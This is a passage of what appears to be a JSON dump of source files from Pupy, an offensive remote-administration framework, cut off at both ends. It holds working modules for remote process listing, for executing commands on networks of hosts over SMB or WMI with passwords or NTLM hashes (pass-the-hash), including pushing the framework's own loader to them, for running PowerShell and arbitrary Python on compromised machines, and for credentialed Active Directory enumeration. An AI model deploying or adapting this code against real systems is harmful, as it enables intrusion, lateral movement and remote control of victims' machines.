u'{{:{}}}'.format(colinfo['username']).format(username)\n\n        if 'terminal' in colinfo and colinfo['terminal']:\n            terminal = columns['terminal']\n            if isinstance(terminal, bytes):\n                terminal = terminal.decode('utf-8')\n            columns['terminal'] = u'{{:{}}}'.format(colinfo['terminal']).format(terminal)\n\n        columns['pid'] = '{{:{}}}'.format(colinfo['pid']).format(record['pid'])\n    else:\n        columns['pid'] = '{}'.format(record['pid'])\n\n    return columns\n\ndef gen_output_line(columns, info, record, wide=False):\n    cpu = record.get('cpu_percent') or 0\n    mem = record.get('memory_percent') or 0\n\n    if record.get('self'):\n        color = \"green\"\n    elif record.get('status') == 'stopped':\n        color = \"darkgrey\"\n    elif cpu > 70 or mem > 50:\n        color = \"red\"\n    elif record.get('username') in ADMINS:\n        if record.get('connections'):\n            color = \"magenta\"\n        else:\n            color = \"yellow\"\n    elif record.get('connections'):\n        color = \"cyan\"\n    elif not record.get('same_user'):\n        color = \"grey\"\n    else:\n        color = None\n\n    template = u' '.join(u'{{{}}}'.format(x) for x in info)\n    columns = {k:to_string(v) for k,v in columns.items()}\n\n    if 'status' not in columns:\n        columns['status'] = ''\n\n    output = template.format(**columns)\n\n    if color:\n        output = Color(output, color)\n\n    if not wide:\n        output = TruncateToTerm(output)\n\n    return output\n\ndef print_psinfo(fout, families, socktypes, data, colinfo, sections=[], wide=False):\n    parts = []\n\n    for pid, info in data.items():\n        if sections is not None:\n            infosecs = {\n                'general': []\n            }\n            for prop, value in info.items():\n                if type(value) not in (list, dict):\n                    infosecs['general'].append({\n                        'PROPERTY': prop,\n                        'VALUE': '{:3}%'.format(int(value)) if ('_percent' in prop) else value\n                    })\n                else:\n                    if prop == 'environ':\n                        infosecs[prop] = [{\n                            'VAR':x, 'VALUE':y\n                        } for x,y in value.items()]\n                        continue\n                    elif prop == 'connections':\n                        newvalue = []\n                        for connection in value:\n                            newvalue.append({\n                                'status': connection['status'],\n                                'raddr': ':'.join([str(x) for x in connection['raddr']]),\n                                'laddr': ':'.join([str(x) for x in connection['laddr']]),\n                                'family': families[connection['family']],\n                                'type': socktypes[connection['type']],\n                            })\n\n                        infosecs[prop] = newvalue\n                        continue\n                    elif prop == 'memory_maps':\n                        filtered = ('path', 'rss', 'size')\n                    elif prop == 'memory_info':\n                        infosecs[prop] = [{\n                            'TYPE':item['KEY'], 'SIZE':size_human_readable(item['VALUE'])\n                        } for item in value]\n                        continue\n                    else:\n                        filtered = None\n\n                    infosecs[prop] = [{\n                        k:v for k,v in item.items() if filtered is None or k in filtered\n                    } for item in (value if type(value) == list else [value])]\n\n            if sections:\n                for section in sections:\n                    section = section.lower()\n                    if section in infosecs:\n                        labels = sorted(Key(x) for x in infosecs[section][0])\n                        parts.append(\n                            TruncateToTerm(\n                                Table(\n                                    infosecs[section],\n                                    labels,\n                                    Color(section.upper(), 'yellow'))))\n\n            else:\n                for section, table in infosecs.items():\n                    if table:\n                        labels = sorted(Key(x) for x in table[0])\n                        parts.append(TruncateToTerm(Table(\n                            table, labels, Color(section.upper(), 'yellow'))))\n\n            fout(MultiPart(parts))\n\n        else:\n            outcols = ['pid'] + [\n                x for x in (\n                    'terminal', 'cpu_percent', 'memory_percent', 'username',\n                    'exe', 'name', 'cmdline', 'status'\n                ) if x in colinfo\n            ]\n            info['pid'] = pid\n            columns = gen_columns(info, colinfo)\n\n            fout(gen_output_line(columns, outcols, info, wide))\n\n\ndef is_filtered(pid, columns, hide, show):\n    default_deny = False\n\n    if not hide and not show:\n        return False\n\n    if not hide and show:\n        default_deny = True\n    if not show and hide:\n        default_deny = False\n\n    deny = default_deny\n\n    name     = columns['name']\n    username = columns['username']\n    exe      = columns['exe']\n    cmd      = columns['cmdline']\n\n    for hide_rule in hide:\n        if type(hide_rule) == int:\n            if hide_rule == pid:\n                deny = True\n        elif any(hide_rule.match(x) for x in [exe, name, cmd, username]):\n            deny = True\n\n    for show_rule in show:\n        if type(show_rule) == int:\n            if show_rule == pid:\n                deny = False\n        elif any(show_rule.match(x) for x in [exe, name, cmd, username]):\n            deny = False\n\n    return deny\n\ndef check_tree_show(pid, data, show, tree):\n    columns = gen_columns(data[pid])\n    if data[pid].get('show', None) or not is_filtered(pid, columns, [], show):\n        data[pid]['show'] = True\n        return True\n\n    for child in tree.get(pid, []):\n        columns = gen_columns(data[child])\n        if data[child].get('show', None) or not is_filtered(child, columns, [], show):\n            data[pid]['show'] = True\n            return True\n\n    for child in tree.get(pid, []):\n        if not data[pid].get('show', None) is False:\n            if check_tree_show(child, data, show, tree):\n                data[pid]['show'] = True\n                data[child]['show'] = True\n                return True\n            else:\n                data[child]['show'] = False\n\n    data[pid]['show'] = False\n    return False\n\ndef print_pstree(fout, parent, tree, data,\n                      prefix='', indent='', colinfo={},\n                      info=['exe', 'cmdline'], hide=[], show=[],\n                      first=False, wide=False):\n    if parent in data:\n        data[parent]['pid'] = parent\n        columns = gen_columns(data[parent], colinfo)\n\n        if is_filtered(parent, columns, hide, []):\n            return\n\n        if show and not check_tree_show(parent, data, show, tree):\n            return\n\n        columns['prefix'] = prefix\n\n        before_tree = [\n            x for x in info if x in (\n                'terminal', 'cpu_percent', 'memory_percent', 'username'\n            )\n        ]\n\n        after_tree = [\n            x for x in info if x in ('exe', 'name', 'cmdline')\n        ]\n\n        outcols = ['pid'] + before_tree + ['prefix'] + after_tree\n\n        output = gen_output_line(columns, outcols, data[parent], wide)\n\n        fout(output)\n\n    if parent not in tree:\n        return\n\n    children = tree[parent][:-1]\n\n    for child in children:\n        print_pstree(\n            fout, child, tree, data,\n            prefix=indent+('┌' if first else '├'), indent=indent + '│ ',\n            colinfo=colinfo, info=info, hide=hide, show=show, wide=wide\n        )\n        first = False\n\n    child = tree[parent][-1]\n    print_pstree(\n        fout, child, tree, data,\n        prefix=indent+'└', indent=indent + '  ',\n        colinfo=colinfo,\n        info=info, hide=hide, show=show, wide=wide\n    )\n\ndef print_ps(fout, data, colinfo={},\n                 info=['exe', 'cmdline'], hide=[], show=[], wide=False):\n\n    outcols = ['pid'] + [\n        x for x in info if x in (\n            'terminal', 'cpu_percent', 'memory_percent', 'username',\n            'exe', 'name', 'cmdline'\n        )\n    ]\n\n    for process in sorted(data):\n        data[process]['pid'] = process\n        columns = gen_columns(data[process], colinfo)\n\n        if is_filtered(process, columns, hide, show):\n            continue\n\n        fout(gen_output_line(\n            columns, outcols, data[process], wide))\n\n\n@config(cat=\"admin\")\nclass PsModule(PupyModule):\n    \"\"\" list processes \"\"\"\n\n    dependencies = ['pupyps']\n    is_module = False\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"ps\", description=cls.__doc__)\n        cls.arg_parser.add_argument('--tree', '-t', action='store_true', help='draw tree')\n        cls.arg_parser.add_argument('-i', '--info', action='store_true', help='print more info')\n        cls.arg_parser.add_argument('-I', '--info-sections', nargs='*',\n                                         default=None, help='print info for sections (-s only)')\n        cls.arg_parser.add_argument('-a', '--all', action='store_true', help='show kthread')\n        cls.arg_parser.add_argument('-w', '--wide', action='store_true', help='show all arguments')\n        cls.arg_parser.add_argument('-x', '--hide', nargs='+', default=[],\n                                     help='hide processes by pid/name/exe (regex)')\n        filtering = cls.arg_parser.add_mutually_exclusive_group()\n        filtering.add_argument('-s', '--show', nargs='+', default=[],\n                                         help='show process info (or subtree) by pid/name/exe (regex)')\n        filtering.add_argument('-S', '--show-pid', nargs='+', type=int, default=[],\n                                         help='show extended process info (or subtree) by pid')\n\n    def run(self, args):\n        psinfo = self.client.remote('pupyps', 'psinfo')\n        pstree = self.client.remote('pupyps', 'pstree')\n\n        families = {\n            int(k):v for k,v in self.client.remote_const(\n                'pupyps', 'families'\n            ).items()\n        }\n\n        socktypes = {\n            int(k):v for k,v in self.client.remote_const(\n                'pupyps', 'socktypes'\n            ).items()\n        }\n\n        if args.show_pid and not args.tree:\n            data = psinfo(args.show_pid)\n        else:\n            root, tree, data = pstree()\n            tree = {\n                int(k):v for k,v in tree.items()\n            }\n\n        data = {\n            int(k):v for k,v in data.items()\n        }\n\n        colinfo = gen_colinfo(data)\n\n        try:\n            info = ['exe', 'cmdline']\n            hide = [\n                int(x) if x.isdigit() else re.compile(x, re.IGNORECASE) for x in args.hide\n            ]\n            show = [\n                int(x) if x.isdigit() else re.compile(x, re.IGNORECASE) for x in args.show\n            ]\n\n            if not args.all and not args.show and (\n                    self.client.is_linux() or self.client.is_android()\n            ):\n                hide.append(2)\n\n            if args.info:\n                info = ['username', 'terminal', 'cpu_percent', 'memory_percent'] + info\n\n            if args.tree:\n                print_pstree(\n                    self.log, root, tree, data,\n                    colinfo=colinfo, info=info,\n                    hide=hide, show=show,\n                    first=True, wide=args.wide\n                )\n            else:\n                if args.show_pid:\n                    print_psinfo(\n                        self.log, families, socktypes, data, colinfo,\n                        sections=args.info_sections or (\n                            ['general'] if args.info else args.info_sections\n                        ),\n                        wide=args.wide\n                    )\n                else:\n                    data = {\n                        x:y for x,y in data.items() if x in args.show_pid\n                    } if args.show_pid else data\n\n                    print_ps(\n                        self.log, data,\n                        colinfo=colinfo, info=info, hide=hide, show=show,\n                        wide=args.wide\n                    )\n\n        except Exception as e:\n            logging.exception(e)\n"
  },
  {
    "path": "pupy/modules/psexec.py",
    "content": "# -*- coding: utf-8 -*-\n# Author: byt3bl33d3r and Shawn Evans\n# Version used from the \"rewrite\" branch of smbexec written by byt3bl33d3r\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    REQUIRE_STREAM\n)\nfrom netaddr import IPNetwork\nfrom threading import Event\nfrom pupy.modules.lib.windows import powerloader\n\n__class_name__ = \"PSExec\"\n\n@config(cat=\"admin\")\nclass PSExec(PupyModule):\n    \"\"\" Launch remote commands using smbexec or wmiexec\"\"\"\n\n    dependencies = [\n        'unicodedata', 'idna', 'encodings.idna',\n        'impacket', 'ntpath',\n        'calendar', 'pupyutils.psexec'\n    ]\n\n    io = REQUIRE_STREAM\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"psexec\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\"-u\", metavar=\"USERNAME\", dest='user', default='',\n                                    help=\"Username, if omitted null session assumed\")\n        cls.arg_parser.add_argument(\"-p\", metavar=\"PASSWORD\", dest='passwd', default='', help=\"Password\")\n        cls.arg_parser.add_argument(\"-c\", metavar=\"CODEPAGE\", dest='codepage', default='cp437', help=\"Codepage\")\n        cls.arg_parser.add_argument(\"-H\", metavar=\"HASH\", dest='hash', default='', help='NTLM hash')\n        cls.arg_parser.add_argument(\"-d\", metavar=\"DOMAIN\", dest='domain', default=\"WORKGROUP\",\n                                    help=\"Domain name (default WORKGROUP)\")\n        cls.arg_parser.add_argument(\"-S\", dest='noout', action='store_true', help=\"Do not wait for command output\")\n        cls.arg_parser.add_argument(\"-T\", metavar=\"TIMEOUT\", dest='timeout', default=30, type=int,\n                                    help=\"Try to set this timeout\")\n        cls.arg_parser.add_argument(\"--port\", dest='port', type=int, default=445,\n                                    help=\"SMB port (default 445)\")\n        cls.arg_parser.add_argument(\"target\", nargs=1, type=str, help=\"The target range or CIDR identifier\")\n\n        sgroup = cls.arg_parser.add_argument_group(\"Command Execution\", \"Options for executing \"\n                                                                        \"commands on the specified host\")\n        sgroup.add_argument('-execm', choices={\"smbexec\", \"wmi\"}, dest=\"execm\", default=\"wmi\",\n                            help=\"Method to execute the command (default: wmi)\")\n        sgroup.add_argument(\n            \"-v\", \"--verbose\", action='store_true', default=False, help=\"Print information messages\")\n        sgroup.add_argument(\n            \"-x\", metavar=\"COMMAND\", dest='command',\n            help='Execute a command. Use pupy64/pupy86 for .NET loader. '\n            'WARNING! There is no autodetection')\n\n    def run(self, args):\n\n        if \"/\" in args.target[0]:\n            hosts = IPNetwork(args.target[0])\n        else:\n            hosts = list()\n            hosts.append(args.target[0])\n\n        psexec = self.client.remote('pupyutils.psexec', 'psexec', False)\n\n        completions = []\n\n        for host in hosts:\n            if args.command in ('pupy86', 'pupy32', 'pupy64'):\n                _, completion = powerloader.serve(\n                    self, self.client.get_conf(),\n                    host=str(host),\n                    port=args.port,\n                    user=args.user,\n                    domain=args.domain,\n                    password=args.passwd,\n                    ntlm=args.hash,\n                    execm=args.execm,\n                    timeout=args.timeout,\n                    arch='x64' if args.command == 'pupy64' else 'x86'\n                )\n\n                if completion:\n                    completions.append(completion)\n\n                continue\n\n            completion = Event()\n\n            def _on_data(data):\n                if args.verbose:\n                    self.log(u'{}:{}: {}'.format(host, args.port, data))\n                else:\n                    self.stdout.write(data)\n\n            def _on_complete(message):\n                try:\n                    if message:\n                        self.error(message)\n                    elif message and args.verbose:\n                        self.info('Completed')\n                finally:\n                    completion.set()\n\n            psexec(\n                str(host), args.port,\n                args.user,  args.domain,\n                args.passwd, args.hash,\n                args.command,\n                args.execm,\n                args.codepage,\n                args.timeout, not args.noout,\n                None, _on_data, _on_complete,\n                args.verbose\n            )\n\n            completions.append(completion)\n\n        if completions:\n            if args.verbose:\n                self.info('Wait for completions')\n            for completion in completions:\n                if not completion.is_set():\n                    completion.wait()\n"
  },
  {
    "path": "pupy/modules/psh.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom os import path\nfrom io import open\nfrom argparse import REMAINDER\n\nfrom pupy.network.lib.rpc import GenericException\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__ = 'PowershellManager'\n\n\n@config(compat='windows', category='admin')\nclass PowershellManager(PupyModule):\n    ''' Load/Execute Powershell scripts '''\n\n    dependencies = {\n        'windows': ['powershell']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='psh', description=cls.__doc__\n        )\n\n        commands = cls.arg_parser.add_subparsers(title='actions')\n        loaded = commands.add_parser('loaded', help='List preapred powershell contexts')\n        loaded.add_argument('context', nargs='?', help='Check is context with specified name loaded')\n        loaded.set_defaults(name='loaded')\n\n        load = commands.add_parser('load', help='Create new powershell context or load more scripts into existing')\n        load.add_argument('-F', '--force', action='store_true', default=False, help='Destroy old context if exists')\n        load.add_argument('-64', '--try-64', action='store_true', default=False, help='Try amd64 if possible')\n        load.add_argument('-2', '--try-v2', action='store_true', default=None, help='Try version 2 if possible')\n        load.add_argument('-W', '--width', default=-1, type=int, help='Set output line width')\n        load.add_argument('-D', '--daemon', action='store_true', default=False, help='Start in \"daemon\" mode')\n        load.add_argument('context', help='Context name')\n        load.add_argument('source', nargs='?', help='Path to PS1 script (local to pupy)')\n        load.set_defaults(name='load')\n\n        iex = commands.add_parser('iex', help='Invoke expression in context')\n        iex.add_argument('-T', '--timeout', default=None, type=float, help='Set timeout for result retrieval')\n        iex.add_argument('-B', '--background', default=False, action='store_true',\n                         help='Evaluate in background (async)')\n        iex.add_argument('context', help='Context name')\n        iex.add_argument('expression', nargs=REMAINDER, help='Expression to evaluate')\n        iex.set_defaults(name='iex')\n\n        unload = commands.add_parser('unload', help='Destroy context')\n        unload.add_argument('context', help='Context name')\n        unload.set_defaults(name='unload')\n\n        result = commands.add_parser('result', help='Retrieve result by request id from context')\n        result.add_argument('context', help='Context name')\n        result.add_argument('rid', type=int, help='Request id')\n        result.set_defaults(name='result')\n\n        results = commands.add_parser('results', help='Retrieve ready RIDs from all contexts')\n        results.set_defaults(name='results')\n\n        killall = commands.add_parser('killall', help='Destroy all powershell contexts')\n        killall.set_defaults(name='killall')\n\n    def run(self, args):\n        loaded = self.client.remote('powershell', 'loaded')\n\n        if args.name == 'loaded':\n            if args.context:\n                if loaded(args.context):\n                    self.success('{} is loaded'.format(args.context))\n                else:\n                    self.error('{} is not loaded'.format(args.context))\n            else:\n                contexts = loaded()\n                for context in contexts:\n                    self.success('{}'.format(context))\n\n        elif args.name == 'load':\n            load = self.client.remote('powershell', 'load')\n            content = ''\n            if args.source:\n                script = path.expandvars(path.expanduser(args.source))\n                if not path.exists(script):\n                    self.error('Script file not found: {}'.format(script))\n                    return\n\n                with open(script) as input:\n                    content = input.read()\n\n            if args.width == -1:\n                args.width, _ = self.iogroup.consize\n\n            try:\n                load(\n                    args.context, content, args.force, args.try_64,\n                    args.daemon, args.width, args.try_v2\n                )\n            except Exception as e:\n                self.error('load: {}'.format(e))\n\n        elif args.name == 'iex':\n            expression = ' '.join(args.expression)\n            call = self.client.remote('powershell', 'call')\n\n            if not loaded(args.context):\n                self.error('Context {} is not loaded'.format(args.context))\n                return\n\n            if not expression:\n                self.warning('Empty expression')\n                return\n\n            try:\n                result = call(\n                    args.context, expression, timeout=args.timeout, nowait=args.background\n                )\n\n                if args.background:\n                    self.warning('Queued: Context: {} RID: {}'.format(args.context, result))\n                else:\n                    output, rest = result\n\n                    if rest:\n                        self.warning(rest)\n                    if output:\n                        self.log(output)\n\n            except GenericException as e:\n                if type(e).__name__ == 'powershell.PowershellTimeout':\n                    self.error('iex: timeout: Context: {} RID: {}'.format(args.context, e.args[0]))\n                else:\n                    self.error('iex: {}'.format(e))\n\n            except Exception as e:\n                self.error('iex: {}'.format(e))\n\n        elif args.name == 'unload':\n            unload = self.client.remote('powershell', 'unload')\n\n            try:\n                unload(args.context)\n            except Exception as e:\n                self.error('unload: {}'.format(e))\n\n        elif args.name == 'result':\n            get_result = self.client.remote('powershell', 'result')\n\n            result = get_result(args.context, args.rid)\n            if not result:\n                self.error('Result {} does not exists in {}'.format(args.rid, args.context))\n            else:\n                output, rest = result\n                if rest:\n                    self.warning(rest)\n                if output:\n                    self.log(output)\n\n        elif args.name == 'results':\n            get_results = self.client.remote('powershell', 'get_results')\n\n            if not loaded():\n                self.error('No scripts loaded')\n                return\n\n            results = get_results()\n            objects = [\n                {\n                    'CONTEXT': ctx,\n                    'RIDS': ', '.join([str(x) for x in rids])\n                } for ctx, rids in results.items()\n            ]\n            self.table(objects, ['CONTEXT', 'RIDS'])\n\n        elif args.name == 'killall':\n            stop = self.client.remote('powershell', 'stop', False)\n            stop()\n"
  },
  {
    "path": "pupy/modules/pwd.py",
    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyArgumentParser, PupyModule\n\nif sys.version_info.major > 2:\n    getcwd = 'getcwd'\n    basestring = str\nelse:\n    getcwd = 'getcwdu'\n\n__class_name__ = 'pwd'\n\n\n@config(cat=\"admin\")\nclass pwd(PupyModule):\n    \"\"\" Get current working dir \"\"\"\n    is_module=False\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"pwd\", description=cls.__doc__)\n\n    def run(self, args):\n        try:\n            rgetcwd = self.client.remote('os', getcwd, False)\n            self.success(rgetcwd())\n        except Exception as e:\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n"
  },
  {
    "path": "pupy/modules/pyexec.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    REQUIRE_STREAM\n)\n\nfrom pupy.pupylib.PupyErrors import PupyModuleError\nfrom pupy.pupylib.PupyCompleter import path_completer\nfrom pupy.pupylib.utils.rpyc_utils import redirected_stdio\n\n__class_name__=\"PythonExec\"\n\n\n@config(cat=\"admin\")\nclass PythonExec(PupyModule):\n    \"\"\" execute python code on a remote system \"\"\"\n\n    io = REQUIRE_STREAM\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='pyexec', description=cls.__doc__)\n        cls.arg_parser.add_argument('--file', metavar=\"<path>\", completer=path_completer, help=\"execute code from .py file\")\n        cls.arg_parser.add_argument('-R', '--no-redirected-stdio', action='store_true', default=False, help=\"Do not redirect stdio (no output)\")\n        cls.arg_parser.add_argument('-c','--code', metavar='<code string>', help=\"execute python oneliner code. ex : 'import platform;print platform.uname()'\")\n\n    def run(self, args):\n        code=\"\"\n        if args.file:\n            self.info(\"loading code from %s ...\"%args.file)\n            with open(args.file,'r') as f:\n                code = f.read()\n        elif args.code:\n            code = args.code\n        else:\n            raise PupyModuleError(\"--code or --file argument is mandatory\")\n\n        if args.no_redirected_stdio:\n            self.client.conn.execute(code+\"\\n\")\n        else:\n            with redirected_stdio(self):\n                self.client.conn.execute(code+\"\\n\")\n"
  },
  {
    "path": "pupy/modules/pyshell.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file\n# at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    REQUIRE_REPL\n)\n\nfrom pupy.pupylib.utils.rpyc_utils import redirected_stdo\nfrom pupy.network.lib.convcompat import as_native_string\n\nimport sys\nimport readline\n\nif sys.version_info.major > 2:\n    raw_input = input\n\n\n__class_name__ = 'InteractivePythonShell'\n\n\ndef enqueue_output(out, queue):\n    for c in iter(lambda: out.read(1), b\"\"):\n        queue.put(c)\n\n\n@config(cat=\"admin\")\nclass InteractivePythonShell(PupyModule):\n    \"\"\" open an interactive python shell on the remote client \"\"\"\n\n    io = REQUIRE_REPL\n    dependencies = ['pyshell']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='pyshell', description=cls.__doc__\n        )\n\n    def run(self, args):\n        PyShellController = self.client.remote(\n            'pyshell.controller', 'PyShellController', False\n        )\n\n        try:\n            with redirected_stdo(self):\n                old_completer = readline.get_completer()\n\n                try:\n                    psc = PyShellController()\n                    completer = psc.get_completer()\n\n                    def _completer_wrapper(*args, **kwargs):\n                        value = completer(*args, **kwargs)\n                        if value is not None:\n                            return as_native_string(value)\n\n                    readline.set_completer(_completer_wrapper)\n                    readline.parse_and_bind('tab: complete')\n\n                    while True:\n                        cmd = raw_input(\">>> \")\n                        psc.write(cmd)\n\n                finally:\n                    readline.set_completer(old_completer)\n                    readline.parse_and_bind('tab: complete')\n\n        except (EOFError, KeyboardInterrupt):\n            self.log('pyshell closed')\n"
  },
  {
    "path": "pupy/modules/pywerview.py",
    "content": "# -*- coding: utf-8 -*-\n# Author: the-useless-one\n# Project: https://github.com/the-useless-one/pywerview\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom argparse import FileType\n\n__class_name__=\"Pywerview\"\n\n@config(cat=\"gather\", compat=\"windows\")\nclass Pywerview(PupyModule):\n    \"\"\" Rewriting of some PowerView's functionalities in Python \"\"\"\n\n    dependencies=[\"pywerview\", \"impacket\", \"calendar\", \"bs4\", \"pdb\", \"cmd\", \"bdb\", \"repr\", \"pprint\", \"htmlentitydefs\", \"HTMLParser\", \"markupbase\", \"OpenSSL\"]\n    max_clients=1\n\n    @classmethod\n    def init_argparse(cls):\n\n        # changes from original main :\n        #      - argparse.ArgumentParser to PupyArgumentParser\n        #      - parser to cls.arg_parser\n        #      - function name to string (ex: func=get_adobject to func=\"get_adobject\")\n\n        cls.arg_parser = PupyArgumentParser(description='Rewriting of some PowerView\\'s functionalities in Python')\n        subparsers = cls.arg_parser.add_subparsers(title='Subcommands', description='Available subcommands')\n\n        # TODO: support keberos authentication\n        # Credentials parser\n        credentials_parser = PupyArgumentParser(add_help=False)\n        credentials_parser.add_argument('-w', '--workgroup', dest='domain',\n                default=str(), help='Name of the domain we authenticate with')\n        credentials_parser.add_argument('-u', '--user', required=True,\n                help='Username used to connect to the Domain Controller')\n        credentials_parser.add_argument('-p', '--password', default=str(),\n                help='Password associated to the username')\n        credentials_parser.add_argument('--hashes', action='store', metavar = 'LMHASH:NTHASH',\n                help='NTLM hashes, format is LMHASH:NTHASH')\n\n        # AD parser, used for net* functions running against a domain controller\n        ad_parser = PupyArgumentParser(add_help=False, parents=[credentials_parser])\n        ad_parser.add_argument('-t', '--dc-ip', dest='domain_controller',\n                required=True, help='IP address of the Domain Controller to target')\n\n        # Target parser, used for net* functions running against a normal computer\n        target_parser = PupyArgumentParser(add_help=False, parents=[credentials_parser])\n        target_parser.add_argument('--computername', dest='target_computername',\n                required=True, help='IP address of the computer target')\n\n        # Parser for the get-adobject command\n        get_adobject_parser= subparsers.add_parser('get-adobject', help='Takes a domain SID, '\\\n            'samAccountName or name, and return the associated object', parents=[ad_parser])\n        get_adobject_parser.add_argument('--sid', dest='queried_sid',\n                help='SID to query (wildcards accepted)')\n        get_adobject_parser.add_argument('--sam-account-name', dest='queried_sam_account_name',\n                help='samAccountName to query (wildcards accepted)')\n        get_adobject_parser.add_argument('--name', dest='queried_name',\n                help='Name to query (wildcards accepted)')\n        get_adobject_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_adobject_parser.add_argument('-a', '--ads-path',\n                help='Additional ADS path')\n        get_adobject_parser.set_defaults(func=\"get_adobject\")\n\n        # Parser for the get-netuser command\n        get_netuser_parser= subparsers.add_parser('get-netuser', help='Queries information about '\\\n            'a domain user', parents=[ad_parser])\n        get_netuser_parser.add_argument('--username', dest='queried_username',\n                help='Username to query (wildcards accepted)')\n        get_netuser_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netuser_parser.add_argument('-a', '--ads-path',\n                help='Additional ADS path')\n        get_netuser_parser.add_argument('--unconstrained', action='store_true',\n                help='Query only users with unconstrained delegation')\n        get_netuser_parser.add_argument('--admin-count', action='store_true',\n                help='Query only users with adminCount=1')\n        get_netuser_parser.add_argument('--allow-delegation', action='store_true',\n                help='Return user accounts that are not marked as \\'sensitive and not allowed for delegation\\'')\n        get_netuser_parser.add_argument('--spn', action='store_true',\n                help='Query only users with not-null Service Principal Names')\n        get_netuser_parser.set_defaults(func='get_netuser')\n\n        # Parser for the get-netgroup command\n        get_netgroup_parser= subparsers.add_parser('get-netgroup', help='Get a list of all current '\\\n            'domain groups, or a list of groups a domain user is member of', parents=[ad_parser])\n        get_netgroup_parser.add_argument('--groupname', dest='queried_groupname',\n                default='*', help='Group to query (wildcards accepted)')\n        get_netgroup_parser.add_argument('--sid', dest='queried_sid',\n                help='Group SID to query')\n        get_netgroup_parser.add_argument('--username', dest='queried_username',\n                help='Username to query: will list the groups this user is a member of (wildcards accepted)')\n        get_netgroup_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netgroup_parser.add_argument('-a', '--ads-path', dest='ads_path',\n                help='Additional ADS path')\n        get_netgroup_parser.add_argument('--full-data', action='store_true',\n                help='If set, returns full information on the groups, otherwise, just the samAccountName')\n        get_netgroup_parser.add_argument('--admin-count', action='store_true',\n                help='Query only users with adminCount=1')\n        get_netgroup_parser.set_defaults(func='get_netgroup')\n\n        # Parser for the get-netcomputer command\n        get_netcomputer_parser= subparsers.add_parser('get-netcomputer', help='Queries informations about '\\\n            'domain computers', parents=[ad_parser])\n        get_netcomputer_parser.add_argument('--computername', dest='queried_computername',\n                default='*', help='Computer name to query')\n        get_netcomputer_parser.add_argument('-os', '--operating-system', dest='queried_os',\n                help='Return computers with a specific operating system (wildcards accepted)')\n        get_netcomputer_parser.add_argument('-sp', '--service-pack', dest='queried_sp',\n                help='Return computers with a specific service pack (wildcards accepted)')\n        get_netcomputer_parser.add_argument('-spn', '--service-principal-name', dest='queried_spn',\n                help='Return computers with a specific service principal name (wildcards accepted)')\n        get_netcomputer_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netcomputer_parser.add_argument('-a', '--ads-path', dest='ads_path',\n                help='Additional ADS path')\n        get_netcomputer_parser.add_argument('--printers', action='store_true',\n                help='Query only printers')\n        get_netcomputer_parser.add_argument('--unconstrained', action='store_true',\n                help='Query only computers with unconstrained delegation')\n        get_netcomputer_parser.add_argument('--ping', action='store_true',\n                help='Ping computers (will only return up computers)')\n        get_netcomputer_parser.add_argument('--full-data', action='store_true',\n                help='If set, returns full information on the groups, otherwise, just the dnsHostName')\n        get_netcomputer_parser.set_defaults(func='get_netcomputer')\n\n        # Parser for the get-netdomaincontroller command\n        get_netdomaincontroller_parser= subparsers.add_parser('get-netdomaincontroller', help='Get a list of '\\\n            'domain controllers for the given domain', parents=[ad_parser])\n        get_netdomaincontroller_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netdomaincontroller_parser.set_defaults(func='get_netdomaincontroller')\n\n        # Parser for the get-netfileserver command\n        get_netfileserver_parser= subparsers.add_parser('get-netfileserver', help='Return a list of '\\\n            'file servers, extracted from the domain users\\' homeDirectory, scriptPath, and profilePath fields', parents=[ad_parser])\n        get_netfileserver_parser.add_argument('--target-users', nargs='+',\n                metavar='TARGET_USER', help='A list of users to target to find file servers (wildcards accepted)')\n        get_netfileserver_parser.add_argument('-d', '--domain', dest='queried_domain',\n                help='Domain to query')\n        get_netfileserver_parser.set_defaults(func='get_netfileserver')\n\n        # Parser for the get-dfsshare command\n        get_dfsshare_parser= 